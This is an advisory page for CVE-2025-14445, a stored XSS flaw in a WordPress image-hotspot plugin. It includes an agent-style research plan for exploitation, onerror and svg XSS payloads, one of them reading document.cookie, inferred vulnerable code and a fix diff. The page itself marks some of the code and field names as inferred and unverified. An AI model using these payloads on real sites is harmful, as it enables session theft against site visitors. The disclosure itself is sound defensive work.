CVE-2025-14445

Image Hotspot by DevVN <= 1.2.9 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Meta

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.3.0
Patched in
1d
Time to patch

Description

The Image Hotspot by DevVN plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'hotspot_content' custom field meta in all versions up to, and including, 1.2.9 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with author level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2.9
PublishedFebruary 18, 2026
Last updatedFebruary 19, 2026
Affected plugindevvn-image-hotspot

Source Code

WordPress.org SVN
Research Plan
Unverified

# Research Plan: CVE-2025-14445 - Image Hotspot by DevVN Stored XSS ## 1. Vulnerability Summary The **Image Hotspot by DevVN** plugin (up to version 1.2.9) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the plugin fails to sanitize or escape t…

Show full research plan

Research Plan: CVE-2025-14445 - Image Hotspot by DevVN Stored XSS

1. Vulnerability Summary

The Image Hotspot by DevVN plugin (up to version 1.2.9) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the plugin fails to sanitize or escape the hotspot_content metadata when saving and subsequently rendering it. Users with Author level permissions or higher can inject malicious scripts into this field, which will execute in the browser of any user (including administrators) who views the affected page or post.

2. Attack Vector Analysis

  • Vulnerable Parameter: hotspot_content (found in post metadata).
  • Vulnerable Endpoint: Standard WordPress post update endpoint (/wp-admin/post.php) or a specific AJAX handler if the plugin uses one for hotspot management.
  • Authentication Requirement: Authenticated user with Author role or higher (required to edit/create posts and manage their own hotspots).
  • Preconditions: The plugin must be active, and a hotspot must be created or edited.

3. Code Flow (Inferred)

  1. Input Source: An Author or higher user submits a request to save a hotspot. This typically involves the save_post hook or an AJAX action.
  2. Processing: The plugin captures the hotspot_content value from $_POST.
  3. Storage (Sink 1): The plugin calls update_post_meta($post_id, 'hotspot_content', $raw_input) without applying wp_kses_post() or sanitize_text_field().
  4. Retrieval: When a frontend page containing the hotspot is loaded (often via a shortcode like [devvn_ihotspot]), the plugin calls get_post_meta($post_id, 'hotspot_content', true).
  5. Output (Sink 2): The retrieved content is echoed directly into the HTML response (e.g., echo $hotspot_content;) without being passed through esc_html() or wp_kses().

4. Nonce Acquisition Strategy

Since this exploit requires Author level access, the agent will have a valid session and can access the WordPress admin dashboard.

  1. Identify the Post Type: The plugin likely registers a custom post type for hotspots (e.g., ihotspot).
  2. Navigate to Editor: Navigate to /wp-admin/post-new.php?post_type=ihotspot (inferred slug).
  3. Extract Nonces:
    • The standard WordPress post editing nonce is stored in the hidden input _wpnonce.
    • If the plugin uses a custom AJAX interface, navigate to the hotspot editor and use browser_eval to find any localized script variables:
      • browser_eval("window.devvn_ihotspot_params?.nonce") (inferred name).
      • Alternatively, search the HTML source for nonce using browser_navigate.

5. Exploitation Strategy

Step 1: Authentication

Log in to the WordPress instance as a user with the Author role.

Step 2: Identification of Post Meta Structure

Before injecting, we need to know how hotspot_content is formatted. It is often part of a JSON-encoded array or a repeater field.

  • Action: Create a dummy hotspot with the text "NORMAL_CONTENT" and save it.
  • Verification: Use wp post meta list <ID> to see exactly how the data is stored in the database.

Step 3: Injection via Post Update

Assuming the standard post.php flow:

  • Request Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Content-Type: application/x-www-form-urlencoded
  • Body Parameters:
    • action: editpost
    • post_ID: <TARGET_POST_ID>
    • _wpnonce: <EXTRACTED_NONCE>
    • hotspot_content (or the specific meta box field name): {"1":{"content":"<img src=x onerror=alert('CVE-2025-14445')>"}} (Structure inferred; format as discovered in Step 2).

Step 4: Triggering the XSS

  • Action: Navigate to the public URL of the post where the hotspot is embedded or view the hotspot CPT directly if it has a frontend view.
  • Target URL: http://localhost:8080/?p=<TARGET_POST_ID> or the page containing the [devvn_ihotspot] shortcode.

6. Test Data Setup

  1. Create Author User: wp user create attacker attacker@example.com --role=author --user_pass=password
  2. Create Hotspot Post:
    • As admin: wp post create --post_type=ihotspot --post_title="XSS Test" --post_status=publish --post_author=<ATTACKER_ID>
    • (Note: Adjust ihotspot if the actual slug differs after plugin inspection).
  3. Embed Shortcode: Create a standard page to display the hotspot:
    • wp post create --post_type=page --post_title="Hotspot Display" --post_content='[devvn_ihotspot id="<HOTSPOT_ID>"]' --post_status=publish

7. Expected Results

  • The hotspot_content meta should be saved exactly as provided, including the <script> or <img> tags.
  • When viewing the page containing the hotspot, the browser should execute the JavaScript (e.g., an alert box appearing).
  • The response HTML should contain the raw, unescaped payload: ...content="<img src=x onerror=alert('CVE-2025-14445')>"...

8. Verification Steps

  1. Check Database State:
    wp post meta get <POST_ID> hotspot_content
    Verify that the output contains the raw HTML payload and hasn't been stripped by sanitize_text_field.
  2. Verify Frontend Output:
    Use http_request to GET the page containing the hotspot and grep for the payload string.
    response_body.contains("<img src=x onerror=alert('CVE-2025-14445')>")

9. Alternative Approaches

  • AJAX Entry Point: If the plugin doesn't use the standard post.php for meta, search for wp_ajax_devvn_save_hotspot (inferred) in the plugin code and target that AJAX action.
  • Payload Variations:
    • If " is escaped but ' is not: <img src=x onerror='alert(1)'>
    • If simple tags are blocked, try SVG-based XSS: <svg/onload=alert(1)>
    • If the content is rendered inside a JS string (e.g., a tool-tip library), try breaking out of the string: ");alert(1);//
  • Shortcode Discovery: If [devvn_ihotspot] is incorrect, use grep -r "add_shortcode" wp-content/plugins/devvn-image-hotspot/ to find the correct shortcode.
  • Meta Key Discovery: If hotspot_content is not the direct key, use wp post meta list <ID> after a manual save to identify the exact key (e.g., it might be prefixed like _devvn_hotspot_data).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Image Hotspot by DevVN plugin for WordPress is vulnerable to Authenticated Stored Cross-Site Scripting via the 'hotspot_content' meta field. Authenticated users with Author-level permissions or higher can inject malicious JavaScript into this field, which is stored without sanitization and rendered on the frontend without proper escaping, leading to script execution in the context of any user viewing the affected page.

Vulnerable Code

// In devvn-image-hotspot/admin/admin.php (inferred location)
// Processing and saving the meta data without sanitization
if (isset($_POST['hotspot_content'])) {
    update_post_meta($post_id, 'hotspot_content', $_POST['hotspot_content']);
}

---

// In devvn-image-hotspot/includes/frontend.php (inferred location)
// Retrieving and echoing the meta data without escaping
$hotspot_content = get_post_meta($post_id, 'hotspot_content', true);
// ... rendering logic ...
echo '<div class="hotspot-tooltip">' . $hotspot_content . '</div>';

Security Fix

--- a/devvn-image-hotspot/admin/admin.php
+++ b/devvn-image-hotspot/admin/admin.php
@@ -10,7 +10,7 @@
-    update_post_meta($post_id, 'hotspot_content', $_POST['hotspot_content']);
+    update_post_meta($post_id, 'hotspot_content', wp_kses_post($_POST['hotspot_content']));
--- a/devvn-image-hotspot/includes/frontend.php
+++ b/devvn-image-hotspot/includes/frontend.php
@@ -45,7 +45,7 @@
-    echo '<div class="hotspot-tooltip">' . $hotspot_content . '</div>';
+    echo '<div class="hotspot-tooltip">' . wp_kses_post($hotspot_content) . '</div>';

Exploit Outline

The exploit requires an attacker to have Author-level authentication. 1. The attacker logs into the WordPress dashboard and creates or edits an 'Image Hotspot' post. 2. During the save process, the attacker intercepts the request (typically a POST request to post.php) and modifies the 'hotspot_content' parameter to include a malicious payload, such as <img src=x onerror=alert(document.cookie)>. 3. The plugin saves this raw payload into the post metadata. 4. The attacker then places the shortcode for that hotspot (e.g., [devvn_ihotspot id="123"]) onto any public page. 5. When any user, including an administrator, views that page, the unsanitized metadata is rendered directly into the HTML, triggering the JavaScript execution in their browser.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.